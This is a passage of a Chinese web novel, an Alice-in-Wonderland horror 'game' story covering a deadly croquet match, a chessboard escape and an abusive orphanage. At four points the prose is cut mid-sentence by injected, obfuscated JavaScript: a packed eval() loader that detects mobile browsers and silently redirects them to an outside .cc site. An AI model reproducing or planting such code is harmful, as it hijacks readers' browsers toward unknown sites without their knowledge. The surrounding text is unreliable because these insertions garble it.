“咳咳!这场邀请赛由我——红心女王举办,双方队员分别是我的卫兵们— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311440|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —” 扑克牌齐刷刷弯下腰,向尊敬的女王行礼。 “以及,我的朋友爱丽丝小姐邀请来的棋子们——” 玩家们面面相觑,歌者率先反应过来,她立马弯下腰,其余玩家也随即跟上。 女王这才满意地点了点头,抬手指向断头台道:“规则很简单,将球槌进球门!赢的人将获得我的恩赐,输的,获得‘斧头’!现在,开球!” 什么?这就开始了? 朱姐有些惊惶地看向四周,他们的球杆呢? 莫非……也要去水里找? 水面一片血红,将水下的情况遮挡得严严实实,这诡异的情况让人一时下不去手。 “砰!” 眼球被一个卫兵击中,笔直地从朱姐身边滚过,直直往断头台而去! 不好! 朱姐连忙使用天赋能力将眼球拦下,粘稠的蛛丝一下将眼球吸住。 歌者:“干得漂亮!” 眼球被蛛丝送到朱姐怀中,她正准备扔进“球门”,一道破空声突然传来,她的身体下意识反应,用力蹬向地面,往后退了两步。 “嗖!” 铡刀突然落下! 锋利的刀刃擦着朱姐的胸口插入苔藓,将蛛丝削断。 眼球重新滚入水中,激起一片涟漪。 “犯规!这是正规的槌球比赛!野蛮人才用手脚玩游戏!那太暴力了!” 朱姐:…… 她居然还好意思说别人暴力! 一个玩家被扑克卫兵狠狠撞了一下,他有些烦躁地握紧了拳头:“要球杆是吧?行!” 说完,他就将手伸进水里摸索,其他人边阻拦卫兵进球,边用余光留意着他的反应。 忽然,这个玩家表情凝固住,歌者忍不住开口:“怎么了?” 玩家忽的收回手:“……水里好像有小孩。” 在他拨动水面时,一圈又一圈的涟漪里突然出现了一张孩童的脸,这个小孩脸色青白,整张脸几乎被泡烂,最怪异的是……她只有一只眼睛。 “你的手!” 歌者一把提起他的衣袖,他伸入水下的手臂跟染了色似的通体发红。 “连汗毛都染成红色了,你到底摸到了什么?” 歌者严肃开口,却见那个玩家脸色霎时变得惨白,他嘴唇颤抖:“……我…我根本没有这么长的汗毛!” 说到最后,他几乎是咬着牙在尖叫。 歌者一愣,她低头仔细看去,才发现那在空中飘荡着的根本不是汗毛,而是一条条细小的红色肉虫! 虫子不断往他的手臂里钻着,他汗流如注,求救地看向这个答应过要带大家通关的人。 歌者一下松开手,眼看着对方的眼神从惊恐变得危险,她急忙安抚道:“别急,你知道的,只要游戏通关一切都会好的!” 见对方勉强冷静了些许,她咬了咬牙,还是开口道:“听我说,我知道你现在很害怕,但既然你已经这样了,不如一鼓作气,把球杆捞上来,然后你就去找个地方躲好,我保证,一定会让你通关。” 玩家深吸一口气,纠结几秒后:“行。” 123. 疯狂爱丽丝11 片刻后,一只浑身湿透的火烈鸟被捞了上来。 歌者用力将鸟脖拉直,有些不忍心地看了一眼躺倒在地的玩家,这个玩家浑身上下都泛着诡异的粉红色,密密麻麻的肉虫布满他的每一个毛孔。 她犹豫了几秒,终于还是取出了一个道具,将玩家移动到了边缘。 “我有球杆了!大家可以把球传给我!” 红心女王捧着脸颊,愉悦道:“噢!多么美妙的比赛,不过……忘了告诉你们一件事。” 黑桃3正在专心致志槌着球,突然,断头台白光一闪—— “咔嚓!” 一声闷响,扑克牌卫兵的头颅干脆落地,血液从断口处流出,顺着苔藓滑入水中,和池水融为一体。 “球门可是会饿的,每过一会儿…它们就要吃些小零食呢!”红心女王咯咯笑了起来。 朱姐脖子一紧,这个疯子! 她抬起手,蛛丝从一圈一圈地将手包裹,确保没有一丝一毫的缝隙后,她小心翼翼地伸入水中,很快,就捞上来了一只火烈鸟。 见她行动顺利,其他几个玩家也纷纷来了灵感,很快,火烈鸟就几乎人手一只,只除了一个人。 歌者看向那个叫“法瑟”的玩家,心下一沉。 这场游戏里他们本来人数就少,还有一个因为捞火烈鸟失去了行动能力,这会儿又来一个混子! 总不会还想让别人冒生命危险帮他去捞吧! 但她还是强忍烦躁,温声问道:“法瑟,你不拿球杆吗?” 霍格正弯着腰在观察断头台,听到有人叫自己,他回头看了眼,想了想,随手从旁边的枯干上折下一段,试了试,还挺趁手。 “拿了。” 歌者皱了皱眉,决定不再管他。 像这种自作聪明的玩家,她见过不知道多少个,自个儿找死她想拉也拉不住啊! 刹那间,一股凉意袭上她的后脑,歌者反应极快,她迅速俯身,堪堪闪过了卫兵手中利剑。 “好!砍!给我砍掉他们的头!全部!现在!”红心女王尖利的笑声回荡在这片空间,让人头晕目眩。 在卫兵的齐声回应下,场面瞬间紧张起来,战斗一触即发! “接球!” 朱姐那双铁手跟抓鸡似的抓紧火烈鸟,火烈鸟不断挣扎着,她用力往歌者的方向槌去……槌偏了。 被重重砸了脑袋的方片8一时有些懵,不过他的队友很快赶来,又给他来了一槌,他勉强回神,跟队友梅花K一起赶着球来到断头台门口。 歌者:“挡住他们!” 一个身形健硕的玩家大吼一声,身上的肌肉忽然暴涨成了三倍大小,用力撞了上去! “砰!” 扑克牌卫兵被一把掀翻,眼球弹至半空,林木正准备上前接球,视线余光里却伸出另一只火烈鸟——是红桃J! 两人你争我夺,分外激烈。 不好! 林木一时疏忽,那眼球被红桃J槌开,一个个子矮小的玩家趁人不注意,用一个标准的击剑姿势挑飞红桃J的手腕,眼球被打飞至水中。 矮个玩家缓缓收回手,做了个承让的手势。 红桃J呆呆地看向他,矮个玩家一愣,一种不妙的预感袭上心头。 “咕嘟…咕嘟……” 水池冒起泡泡,像是沸腾似的,不断往上溢。 突然,漂浮在水池中心的红色眼球像是被什么抓住,一下沉入水里。 “唉呀!”耳边传来红心女王幸灾乐祸的声音,“球没了,那我的槌球比赛——要怎么办呢?” 她故意拖长音调,视线转动到矮个玩家脸上:“没有关系!我可是很大度的,只要你把球赔给我,就既往不咎,如何?” 红心女王话音落下,一声清脆的撕裂声变响了起来。 矮个玩家迷茫地眨了眨眼,他想扭头去问发生了什么,却在下一秒,视线发生了变化,再然后,他就永永远远地闭上了眼睛。 林木轻轻吸气,矮个玩家的头在地上弹了两下,最后落在了他脚下。 “噗呲。” 火烈鸟的喙狠狠刺入眼眶,红桃J翻手将头颅挑起。 “这颗球不错,”红心女王激动得王冠都歪在了一边,“我原谅他了!” 鲜血从头颅中缓缓渗出,霍格不着痕迹地清点了一番扑克牌卫兵的人数,然后试了试自己越发变得细长的身形。 粗略估算,他现在的身高已经到了三米,四肢细细长长,行动起来手脚都有些笨拙,像是商场前面的气球人。 歌者神情愈发严峻,这场面对玩家而言实在不利,先不说用火烈鸟将前同伴的头打来打去要背负多少心理压力,即便他们真的放开打,万一再不小心打进水里,赔偿的岂不是自己的头? 风险太大,他们只能束手束脚,一度落于下风。 连着几次极限拦球,能用的技能大多都进入了CD,每个人都累得气喘吁吁。 也不知是不是巧合,扑克牌卫兵们的行动也慢了下来。 歌者满头大汗,怒气冲冲地望向不知道在发什么呆的法瑟:“你好歹帮帮忙吧?!这样下去不行,你们听我说,我们得联合起来!” “接下来听我安排!” 歌者三言两语,把剩下的六个玩家分成了三组,分别负责前中后场,她牺牲自己,把自己跟那个混子分在了一组,他们俩作为最终防线守在最后。 “正好,你现在这么高,就守在这里当守门员,也不需要你怎么动,扑克牌冲过来的时候我会负责处理,这总行了吧?!” 霍格看向她已经明显不足一米的身高,顿了顿,然后轻轻点头。 “球来了!” 朱姐左手拽住卫兵,右手用力一击,血肉模糊的头颅就被她槌向了后场。 歌者一下将头勾了过来,身边一个卫兵都没有。 好机会! 她迅速旋身带球就往断头台处冲。 “法瑟!” 就看这一球了! 忽然,歌者眼睛一眯,这个玩家怎么还不让开? 她正要发怒,却见对方猛地抬脚踹向断头台。 “砰!” 断头台倒塌了。 “你做什么——!” “咻!” 歌者一愣,有什么从她身旁疾驰而过。 余光里,那个从进入游戏就开始划水的玩家甩着他跟面条似的四肢跑得飞快! 枯木棍在他手里甩得虎虎生风……好像个奇行种。 然后,只听一声巨响在她耳边炸开,歌者下意识偏过头,脸上出现一丝凉意。 她伸手抹了一把,全是血。 歌者回身望去,尖锐的利器就刺在她后脖,堪堪在离她三公分的位置停住。 卫兵什么时候速度这么快了?! 她刚刚周围还什么都没有,这个扑克牌是什么时候出现的? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15329194|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 扑克牌的头被法瑟大力槌碎,鲜血喷了他一身。 法瑟没有停顿,他迈着两条又细又长的腿游走在扑克牌卫兵中间,几乎没隔几秒就能槌下一张牌的头颅。 明明动作很搞笑,却让人忍不住心中发寒。 他就像个没有感情的冷兵器,锋芒毕现。 扑克牌卫兵们的动作一下加快,歌者这才发现,这些卫兵居然一直在收敛实力! 他们为什么要这样做? 跟猫玩耗子一样玩弄他们,这对他们有什么好处?! 她的脑子乱成一锅粥,但身体很快反应过来,她迅速上前帮忙,却不想池面再次沸腾起来,有什么东西要爬出来了! “快!” 歌者迅速指挥,见此情景,所有玩家不再保留能力,有什么用什么,在大家的努力下,扑克牌卫兵数量肉眼可见减少,同时,地上的头颅也增加到了十几个。 池水向两边分散开,一张脸从水中缓缓浮现。 那是个很漂亮的小女孩,金色长发,光滑的面颊……可她脸上只有一只眼睛。 不! 她的脸上突兀地裂开一条缝隙,然后,缝隙动了动,睁了开来,血红色的眼球——在一小时前,这只眼球的主人还是那只渡鸦。 “嘎嘎!” 渡鸦一下立了起来,仅剩的那只眼死死盯住女孩,身上的毛都炸了起来,如临大敌。 很快,她身上又出现了更多裂口,那个矮个玩家的脸在她手臂上浮现,他沉默地注视着其他玩家,眼里什么都没有。 水中的“爱丽丝”……歌者心脏咯噔一声,她会吞噬那些“球”! 法瑟的动作一下变得更快,四肢甩着几乎只能看出残影,其他玩家也连忙跟上。 “不!我的卫兵!”红心女王尖叫着跳起来,她甚至还想抡起权杖亲自击球! 或许是危机当前,所有人都发挥出了百分之二百的能力,不等“爱丽丝”从水里爬出,他们就把所有卫兵的头都摘了下来。 在他们将所有球都槌进断头台的瞬间,空气突然安静下来,连渡鸦都停止了啼叫。 突然,红心女王笑了起来,她鼓着掌:“精彩!太精彩了!既然你们杀死了我的卫兵……” “那就恩赐你们来当我的永久卫兵吧!” 她话音刚落,霍格便跟投掷标枪似的将枯木甩了出去——正中渡鸦屁股! “噶——!!!” 渡鸦惨叫一声,扑腾着翅膀朝女王飞去。 “滚开!滚开你这个畜生!” 场面一片混乱,女王暴跳如雷:“是谁?!立刻给我砍下他的脑袋!我要把他的头当球踢!!!” 爱丽丝意兴阑珊道:“这不符合规定,他们已经赢了。” “我不同意!!!” 爱丽丝没有搭理她,只自顾自地敲了敲棋盘,棋盘上延伸出一条通道,水中的“爱丽丝”动作一下加大,她满脸怨恨地伸手就要抓他们。 大家争先恐后地往棋盘上跑,只差一步! 喷泉重新沉入地底,“爱丽丝”心不甘情不愿地被重新压回水中。 歌者放慢脚步,眼神复杂地看向法瑟:“……谢谢。” 霍格随意点了点头,他快步走到郝荨跟前,低声开口:“小心,没有时间了——你的眼睛?” 郝荨摸上自己已经几乎完全变成纽扣的眼睛,微微摇头:“一会儿你帮我个忙……” 124. 疯狂爱丽丝12 又一场游戏过去,场上的十五位玩家只剩下了十位,还有两位生死不知。 歌者焦虑地啃着指甲,日落时刻怎么还没到来? 她小心地看了眼爱丽丝,这个只有一只眼睛的BOSS此刻正歪坐在高脚椅上,面无表情地神游。 “哦呀~” 红心女王忽然发现了什么,她从王座跳下,小碎步冲到棋盘前。 “这里居然藏了一位幸运的小姐!啧啧啧……所有棋子中,只剩下你没有踩中过我的游戏——”红心女王的脸色瞬间阴沉,“是对我有什么不满吗?” 郝荨在格子中央站得笔直,她的视线已经变成全黑一片,与之相对的是格外敏锐的听力,有某种熟悉又轻巧的脚步声从棋盘下方传来。 她弯起嘴角,一副强作镇定的模样。 “当然没有,我尊敬的女王陛下,事实上,如果不是命运的捉弄,我很愿意追随您,为您的游戏添砖加瓦。” “是吗?”女王有些狐疑。 突然,她眼珠转了转,开口道:“既然如此,我给你一个机会。” 红心女王快速用余光瞥了一眼爱丽丝,见对方没有朝这里看,她快速点了点棋盘,几个格子漂浮起来。 “来吧,选择你想玩的游戏。” 她将声音放轻,仿佛每个字都带着粘稠的恶意。 歌者皱眉,这难道不是破坏规则吗? 她对这个玩家了解不多,万一对方无法通过红心女王的游戏,他们就又会缺少一个玩家。 玩家越少,轮次就会越快,无人去踩的空格子也越多,万一日落时分久久不来……他们最终还是得去踩新的格子,人数越少,踩中危险游戏的概率就越大,大大的不利! 她有些犹豫,要不要顶着被红心女王盯上的危险,去跟爱丽丝举报女王的作弊行为。 “女王陛下,或许,您想玩个更刺激的游戏吗?” 轻巧的脚步声离棋盘越来越近,郝荨微微低下头,让自己看起来更加紧张。 “哦?什么游戏?” 红心女王果然上钩,郝荨轻轻松了口气。 “是这样的,您看,我只是个可怜的小兵,小兵只能在既定的格子上缓慢地挪动,不幸的话,或许这整条路上都无法窥见您的游戏世界,棋盘这么大,我的命运却只限制在这里,实在无趣。” “如果您能同意,我是否能任意选择一格,让这个游戏增添一些些随机性呢?” 歌者愣了两秒,她很快反应过来,这个玩家对三门问题应该有些了解,这是个反直觉的概率游戏,可惜,这个玩家只是一知半解,红心女王明显能控制棋盘,这种情况下,无论她再怎么玩概率,只要对方想让她踩,她就一定会踩中。 红心女王挑了挑眉,然后,又快速看了爱丽丝一眼。 爱丽丝还在那发呆,似乎根本不在意他们什么时候才进入下一轮游戏。 “咳咳……”红心女王敲了敲手杖。 “可怜的小兵,慷慨的女王大人决定大发慈悲,赐予你这个能够主宰自己命运的机会。” 说着,她用手杖点了点棋盘,顷刻间,所有没人站着的黑白格全部浮空,在半空中快速调换位置。 一开始,歌者还想要尝试记忆,可很快,她就放弃了。 这根本不是肉眼能捕捉到的速度。 棋子“唰”一下重新归位,红心女王收回手杖:“好了,你选吧。” 郝荨依然保持着原本的姿势,她先是往前走了两步,然后又维持着自己的面向,往正左方移了几步。 她的神色惊疑不定,看起来格外慌张。 红心女王没有催促,她欣赏着对方脸上越来越多的汗珠,还有那恨不得左右脚互搏的走路姿势,很是满足。 郝荨一边假装自己在犹豫怎么选,一边侧耳倾听着下方传来的声音,犹犹豫豫地走到了离那脚步声最近的格子上。 “亲爱的,就这格吗?你确定?” “不不!”郝荨急忙回答,“我、我还没选好!” 红心女王咯咯直笑,她可最喜欢这种吓唬人的戏码了! 忽然,一只兔子从郝荨身边跳出: “没有时间了!没有时间了!” 头顶钟表的兔子跟一阵风似的跑过她身边,郝荨跟吓傻了似的在原地顿了顿,然后才慢慢摸索着往四周走去。 为了避免怀疑,她特地绕了个大圈。 钟表兔跑到棋盘中心,突然,它停下脚步看了看四周,然后,倒吸一口凉气。 “怎么还有这么多人?!” 它猛地拔下自己的脑袋,钟表上的秒针飞快转动,兔子惨叫一声:“没有时间了!!!” 说完,它连头都来不及装回去,就扛着黑色塑料袋快速跑走。 “死兔子!” 讨厌的东西出现,爱丽丝终于回神,她快步向棋盘走来,伸手想去抓它,却被兔子熟练甩开。 钟表兔瞅准机会,往其中一个黑格跃下。 就在这时,霍格忽然开口:“两点钟方向十三步,C3。” 众人微怔,不等他们反应,只见那个满棋盘乱跑的陌生玩家速度一下加快,毫不犹豫地跟着兔子跳了下去! 一声清脆的“咔嚓”声在所有人耳边响起,接着,天边响起了一道洪亮的钟声: “铛——” 棋盘格与格之间的规则碎裂了。 霍格如离弦的箭般快速跑过方柚柚和余逸身边:“跟上。” 说完,他便也跳了下去。 方柚柚和余逸迅速跟上,棋盘上一下少了三枚棋子,爱丽丝先是一愣,然后大怒:“该死!” 她的脸一下涨红,怒发冲冠,跳着脚要来抓剩下的玩家。 歌者咬了咬牙,带着其余几个玩家将那两个生死不知的抗在肩上,在爱丽丝的围追堵截中也跳入了黑色格子。 格子闭合的瞬间,爱丽丝暴躁的尖叫声几乎要划破天际:“你们!这群!该死的棋子——!!!” * “……玛弥…玛弥?” 属于孩童的清亮声线伴随着破旧木板的“嘎吱声”一并传入房间,躺在狭窄小床上的女孩被来人晃了晃,缓缓睁开了双眼。 这是个很清秀的黑发女孩,算不上特别漂亮,但有一双很特别的眼睛,瞳仁像是乌炭一样黑,散发着无机质的光。 事实上,她的身份确实很特殊,她是个盲人。 玛弥年纪不大,在这座孤儿院里,她只生活了七个年头。 “小余?”玛弥揉揉眼睛,坐了起来。 她盖着的被子蛄蛹了两下,冒出了一个睡懵了的小脑袋,这颗脑袋毛茸茸的,脸上也长了些白白的毛发。 “小柚!你怎么又偷偷跑来跟玛弥一起睡觉,万一被院长妈妈发现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345979|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么办?她会生气的!” 小余的左手明显比右手要短上一截,手臂末端光秃秃的,他拿这截肉手戳了戳小柚的脑门:“快醒醒,今天有新老师要来!” 他长了一双眼尾下垂的狗狗眼,此刻瞪得圆圆的,更像是只小狗了。 他比玛弥要晚一年来到孤儿院,而小柚比他们都要小,是孤儿院里最小的小孩。 “她上楼了。” 发出声音的男孩站在门口,他的脸看起来和屋里三个小孩差不了几岁,个子却格外高,几乎要抵上门框,他的脸上罩着一个黑色止咬器,法瑟有些不适地动了动脖子。 那是前几天他反抗无果后,院长妈妈为了惩罚他给他戴上的。 “快快快,快点起床!” 小余慌慌张张地帮两人拿衣服,快速将床褥整理得一尘不染后,小柚拿起一旁的麻布帮玛弥仔细系在头上,将对方的眼睛遮挡得严严实实。 院长妈妈和她都不喜欢这双眼睛,要藏好。 脚步声越来越近,几人安静的在走廊上站成一排,除了他们,孤儿院里还有其他小孩,大家紧紧贴在砖墙上,攀爬在墙面上的藤蔓像干枯的手指,稍不注意就会抓住他们。 一盏残破的吊灯无风自动,显得整座孤儿院更加安静。 “哒、哒……” 玛弥微微歪了歪脑袋,这个尖锐的鞋跟声属于院长妈妈,她走路雷厉风行,高跟鞋声尤其明显,而另一个寸步不离跟在她身边的,脚步声听起来有些沉闷,应该是新来的老师,至于离他们有些远的最后一道脚步声…… “孩子们好呀!” 一个沉稳的男声响起:“我是你们的新老师,你们可以叫我——托特先生。” 这个发际线有些后移的男老师喜欢眯着眼睛看人,他细细打量了一番孤儿院里的小孩,点点头:“所有孩子都在这了吗?” 院长妈妈板着脸扫了一眼,然后皱起了眉毛:“爱丽丝?爱丽丝呢?!” 她正要发火,突然,窗户被什么砸了一下。 “嘎嘎!” 她立刻转身,浑身漆黑的渡鸦像是在嘲笑她似的,在窗外扑棱着翅膀,而走廊的尽头,一个有着淡金色长发的女孩平静地站在阴影中。 女孩浑身脏兮兮的,她抬起脸,露出了那张堪称诡异的脸。 “哦!”托特先生吓了一大跳,“她怎么、她……我是说,她怎么会…这样的?” 这个名叫爱丽丝的女孩竟然只有一只眼睛! 在来之前,托特先生就知道,自己任职的这间孤儿院不是什么正常孤儿院,这里住着的孩子多多少少都有些和正常人不一样的地方,可平常的独眼人不过只是失去一只眼睛罢了,她却好像是天生一般,那只眼睛恰恰好好长在脸的正中,这不是什么身体残缺,而是魔鬼的诅咒! 院长妈妈生怕这个老师也被吓跑,连忙呵斥道:“我不是告诉你没事别抬头吗?!你的麻袋呢?!” 她拽住爱丽丝,从角落里翻出一只破布袋子,将爱丽丝的头牢牢罩住。 “这样就好了,托特先生,别担心!您如果实在不想见到她,就把她锁在房间里!” 爱丽丝没有挣扎,片刻后,她轻轻开口: “院长妈妈是在跟爱丽丝玩游戏吗?” “爱丽丝好开心。” “果然,院长妈妈……最喜欢的就是爱丽丝了!” 125. 疯狂爱丽丝13 “快点!磨蹭什么!” 院长妈妈用力敲击着盛饭的铁桶,食堂的门半开着,透出昏黄的灯光。 一股霉味混合着劣质油灯的气味扑面而来,玛弥牵着小柚的手,两人被小余和霍格一前一后围在中间。 孤儿院的食堂在地下一层,潮湿的空气让她有些呼吸不畅,玛弥撩开黏在脖子上的发丝:“要下雨了。” “啊——”小余失望地拖着长音,“不能出去玩啦。” “下一个!” 锈迹斑斑的铁勺在桶里刮了又刮,舀起一勺黏黏糊糊、根本看不出是什么制作而成的粥,院长妈妈粗暴地将碗塞到小余怀里。 “下一个!” 刺耳的声音让小柚浑身一颤,她抬起头,院长妈妈高挑瘦削的身影在昏暗光线下显得有些扭曲。 她紧张地把身后那只脏兮兮的灰兔子玩偶又往里塞了塞。 那原本是只白色的兔子,据院长妈妈说,那兔子是跟她一起来到孤儿院的。 几人走到长桌前放下碗,正要坐下,却听到一道暴喝声传来: “谁准你坐下了?!” 玛弥有点紧张,她听到院长妈妈那“哒哒哒”的高跟鞋声正朝他们这走来,看不见人让她更加没有安全感。 看来缺少视力对她造成的影响,不是敏锐听力可以补偿的。 她还是头一次感觉到自己这么脆弱——嗯? 玛弥忽然一怔,她不是先天失明吗?怎么会产生这种想法? 一只手安慰地碰了碰她的手臂,是霍格,整个孤儿院里,只有他永远露着小臂和小腿,永远没有足够长度的衣服穿。 院长妈妈的脚步声停了,她怒气冲冲道:“你这个好吃懒做的臭老鼠!” “整天就知道吃,吃完了睡睡完了吃!规矩记不住吗?!”她从腰间抽出教鞭,“把手伸出来!” 被她盯住的男孩颤抖着摊开手掌。 “啪!” “你是什么?!” 男孩闷哼一声,发出了轻微的啜泣声:“……罪人。” “大声点!” “呜…我、我是生来就要赎罪的罪人!爸爸抛弃我,妈妈害怕我,只有善良的院长妈妈愿意收留我!” “啪!” “所以?!” “我要做个乖小孩,听院长妈妈的话!” “啪!” “孤儿院的规矩是?!” “粥是安全的!肉是有罪的!浪费是应该去死的!” “还有呢?” “安静!服从!不要惹院长妈妈生气!” 三道红痕出现,院长妈妈的脸色稍稍缓和:“嗯,都坐下吧。” 孩子们纷纷落座,没有发出一点声响,被打的小孩咬住嘴唇不敢哭出声,只有眼泪大颗大颗地落在粥中。 院长妈妈在桌间踱步,教鞭时不时发出破空声:“吃饭时不准说话,不准浪费食物,平时该做什么就做什么,没事不要乱跑,就这么点你们都记不住,你们说说自己还能干什么!” 突然,她脚步停下,声音变得甜美起来:“我听说——昨天夜里有人不睡觉,偷偷跑去找爱丽丝玩?” “是谁?现在说出来,我还可以既往不咎,但要是被我查出来是谁……” 她站在吊灯下,影子几乎要笼罩在场的所有人。 现场是死一般的寂静,小孩子们一个个白着脸,连气都不敢喘。 过了一会儿,院长妈妈收起笑脸,重新变回那副凶巴巴的样子:“看来是没人去,那就好。” 钓鱼执法?玛弥皱了皱眉,院长妈妈真是越来越过分了。 “我最后强调一次,别去找那个魔鬼玩,也不准进入那个被诅咒的房间!要是被我知道,少不了你们的好果子吃!” 说完,院长妈妈便大步转身离开。 直到一只小猫跳上长桌,“喵”了一声,大家才松了口气。 这是个漂亮的黑色小猫,眼睛金灿灿的,院长妈妈很讨厌它,认为它不详,但对于孤儿院的小孩们来说,这只是只聪明可爱的小猫咪。 或许是感觉到院长妈妈不喜欢它,它还学会了故意躲开,所以,只要它在的地方,就代表院长妈妈不在,这里是安全的。 它像巡视领地一样从桌头走到桌尾,让每个小孩都能轻轻摸上一把,可要是摸多了,也会被一爪子拍开。 “柴郡猫!” 一个小胖墩抓住黑猫,惊喜叫道。 要知道,在孤儿院里还能长肉的小孩实在不多见,小余边呼噜噜往嘴里灌粥边好奇望去,只见那小胖墩把脸埋在黑猫的肚子上,狂乱吸猫。 吸着吸着,猫咪的肚子忽然湿了一块。 可疑的液体从小胖墩的嘴角流出,他忍不住吞了好几口口水,口齿不清道:“肉……” 鬼使神差的,他张开嘴咬了下去—— “喵嗷——!” “发生什么了吗?”玛弥疑惑道。 小余差点把碗摔了,他结结巴巴道:“他、他要吃猫!” 长桌左右忽然站起两个女孩,一个个子格外矮小,另一个年纪则比他们要大上几岁,身体两侧有两肉瘤,像是多长了两条手。 矮个女孩叫歌歌,她试图上手去抢猫,而那个年纪更大的朱朱则更勇猛,单手掐住小胖墩的下颌,死死卡住,命令道:“松嘴!” 见他还是不松口,朱朱气急:“我数三二一,再不松口我要上手了啊!三!二——” 小胖墩犹豫两秒,委委屈屈地松开了柴郡猫。 “我饿……” “谁不饿?你不要命啦!” 也不知道为什么,看到他这样朱朱就忍不住想揍他屁股。 “好啦,”歌歌安抚她,“他年纪还小,还不懂事呢。” 朱朱冷笑一声,别开了头。 小柚慢条斯理地把发生的事告诉了玛弥,玛弥安静听着,突然问道:“柴郡猫呢?还在吗?” 小柚一愣,半晌才道:“在,但是……” 猫咪是很容易受惊的物种,稍大点的声音都可能让它们应激。 可这只黑猫却格外冷静,除了最开始的那声惨叫外,它没有再发出过别的声音。 此刻,柴郡猫上身挺立,四足拢在一起,金色瞳孔沉静地看着这个还在对自己流口水的小孩。 见一人一猫都没事,朱朱和歌歌回到座位,还没坐下,忽然,一声“噗呲”声传来,两人脚步顿住,回头一瞧,整个人都愣在了原地。 小胖墩咬住自己的手掌,只见在他的用力咬合下,鲜血一下呲了出来,他的手一下变得血肉模糊。 他乐呵呵道:“嘿嘿……肉…好吃……” 小余猛地瞪大眼,他害怕地抱住自己,弱小可怜又无助:“别、别吃小余,小余不好吃!” 光是听着,玛弥都觉得毛骨悚然。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353843|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >幸好她现在看不见。 ……她为什么要说现在? 黑猫似乎是看到了满意的场景,它舔了舔爪子,飞快离开了。 它一走,小胖墩突然停下动作,他看了看自己的手掌,又看了看空空的碗,然后“哇”的一声大哭起来。 “呜呜呜好痛……我好痛!” “怎么了?” 皮鞋声响起,他们的新老师闻声赶来,见此场景吓了一跳,他连忙抱起小胖墩,脚步匆匆往外走去,还不忘吩咐大家继续吃饭。 玛弥头微微一动,她清楚听到托特先生那越来越远的声音: “怎么会受伤的?坏猫猫……?想吃肉啊,可院长妈妈不允许?…这样吧,晚上……老师房间……” 明明这些话听起来都很正常,可玛弥却觉得有些不大舒服。 就好像,有什么不好的事要发生似的。 她端着碗起身,准备放到铁桶中,却在经过门口时忽然被什么绊倒,摔了一跤。 这一下恰好撞在了门上,食堂的门是扇生锈的铁门,非常沉重,摔得她七晕八素,差点没喘上气来。 “玛弥!” 三个好朋友急忙赶到她身边,这好端端的怎么会摔跤呢? 霍格仗着个高视线广,一眼就看到有人快速收回脚,视线闪躲。 他伸出长手一下按住对方:“你故意的?” 绊人的是个男孩,仗着身体强壮常年在孤儿院作威作福。 玛弥在小余的搀扶下站起,她搓了搓手指,感受到指尖有一股潮湿的血气。 “霍格,我没事。” 她冷静开口,轻轻拽了拽小柚的手。 霍格用力推了一把那个男孩,转身离开,嘴上的止咬器发出金属撞击声,听起来有些吓人。 几人回到房间,孤儿院的面积不大,二楼分布了几间卧室,每个房间都堆满了上下床,这会儿外头的湿度越来越重了,天色阴暗,眼看着就要下雨。 可能是觉得屋里闷热,房间里一个人都没有。 他们挤在小小的窗口,小余有些不忿:“为什么要放过他啊!他绊你,他是坏小孩!” 玛弥摇摇头,她张开手指:“你看。” 小余:“血?你受伤啦!” 他一把抓过玛弥的手:“走!我带你去找院长妈妈!” 玛弥:“等下,这不是我的血。” “啊?” 小余细细查看,没在她手上找到任何伤口。 他挠了挠头发:“奇怪……哪来的血?” 玛弥微微侧头:“小柚?” 小柚从她身后钻出,自然地搬了个纸箱坐下,撑住脑袋。 “是门上的血。”她有些困惑,“食堂的铁门上有好多手印,大大小小,不仔细看根本看不出来。” 玛弥皱眉:“在门的哪里?” 小柚抓起她的手比了比:“就在最下面的角落,门的内侧,密密麻麻叠在一起,可能是天气太潮了,渗出来了?” 玛弥思索片刻:“我们以后除了吃饭时间,其他时候不要去食堂。” 小余吸了吸鼻子:“为什么啊?” 玛弥:“你不觉得这个位置……很像是有人在拼命拍打求救吗?” 